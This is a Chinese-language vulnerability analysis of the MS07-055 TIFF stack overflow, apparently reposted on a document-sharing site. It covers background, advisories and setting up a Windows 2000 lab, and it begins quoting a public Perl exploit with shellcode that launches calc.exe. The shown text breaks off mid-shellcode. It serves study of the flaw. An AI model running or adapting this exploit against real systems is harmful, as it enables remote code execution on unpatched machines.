tiff图像文件处理栈溢出漏洞

《tiff图像文件处理栈溢出漏洞》由会员上传分享，免费在线阅读，更多相关内容在应用文档-天天文库。

1、MicrosoftTIFF图像文件处理栈溢出漏洞漏洞背景TIFF(TagImageFileformat)是Mac中广泛使用的图像格式，它由Aldus和微软联合开发，最初是出于跨平台存储扫描图像的需要而设计的。它的特点是图像格式复杂、存贮信息多。正因为它存储的图像细微层次的信息非常多，图像的质量也得以提高，故而非常有利于原稿的复制。该格式有压缩和非压缩二种形式，其中压缩可采用LZW无损压缩方案存储。不过，由于TIFF格式结构较为复杂，兼容性较差，因此有时你的软件可能不能正确识别TIFF文件(现在绝大部分软件都已解决了这个问题)。目前在Mac和PC机上移植TIFF文件

2、也十分便捷，因而TIFF现在也是微机上使用最广泛的图像文件格式之一。2007年10月9日，微软的网站上公示了"Microsoft安全公告MS07-055-严重Kodak图像查看器中的漏洞可能允许远程执行代码(923810)"这个安全公告，并提供了该漏洞的补丁程序。此漏洞仅存在于运行Windows2000的系统上。但是，如果是从Windows2000升级的，运行受支持版本的WindowsXP和WindowsServer2003也可能受影响。10月29日和11月11日，milw0rm上公布了利用这个漏洞的两个程序，一个是利用explorer溢出的；另一个是利用IE溢出

3、的，可以做网络木马。同时绿盟的网站上也发布了紧急通告--"绿盟科技紧急通告(Alert2007-10)"。攻击者可以通过构建特制图像来利用此漏洞，如果用户访问网站、查看特制电子邮件或者打开电子邮件附件，该漏洞可能允许远程执行指令。成功利用此漏洞的攻击者可以完全控制受影响的系统。应该说这个漏洞的危害性还是很大的，属于"严重"、"紧急"级别的漏洞。另外，同一时间，除了MS07-055，微软还公布了MS07-056到MS07-060。这些安全公告分别描述了8个安全问题，分别是有关各版本的MicrosoftWindows、IE、OutlookExpress和Windows

4、Mail和SharePoint等产品和服务中的漏洞。漏洞重现与漏洞分析要分析这个漏洞，一定要能够重现这个漏洞，然后通过跟踪和调试来分析它。如果你的WindowsXP系统不是从Windows2000升级过来的，最好先安装一个虚拟机，虚拟一个Win2K操作系统，然后在这个系统下做漏洞重现。我在VMware中安装的是Win2KSP3，当然SP4也可以，只要是2K系统都可以，因为这个漏洞是新出的。如果你的2K系统已经对这个漏洞(MS07-055)打了漏洞补丁(KB923810)，你可以先把漏洞补丁在"添加删除程序"中卸载掉，做完实验后可以在安装上。另外还要安装一下Acti

5、vePerl，用来运行perl程序代码。把这些准备工作做好后，我们就可以开始漏洞重现了。Milw0rm上关于这个漏洞公布了2个exploit，我分析了一下，这两个exploit利用的漏洞是同一个，就是我们现在要分析的tiff文件格式处理漏洞，但是它们的利用方式不同，一个是直接在explorer下就溢出，也就是说当你用explorer打开了畸形tiff文件所在的目录时，漏洞就已经使explorer溢出了；另一个是可以用来做网络木马，也就是说，当你打开了远程web服务器上的某个网页时，而网页恰好打开了那个畸形tiff文件，那个就会在你本地发生IE栈溢出，从而执行任意代

6、码，即shellocde。那么我这里仅通过最新的网页木马方式的exploit来分析这个漏洞，最终让大家看到这个漏洞发生的根本原因。下面我们首先来看看这个exploit是如何写成的：#！/usr/bin/perl#MicrosoftInternetExplorerTIF/TIFFCodeExecution(MS07-055)#Thisexploittestedon：#-Windows2000SP4+IE5.01#-Windows2000SP4+IE5.5#-Windows2000SP4+IE6.0SP1#invokescalc.exeifsuccessfuluses

7、trict；#runcalc.exemy$shellcode="xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b"."x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99"."xacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x04"."x75xe5x8bx5fx24x01xebx66x8bx0cx4bx8bx5f

8、x1c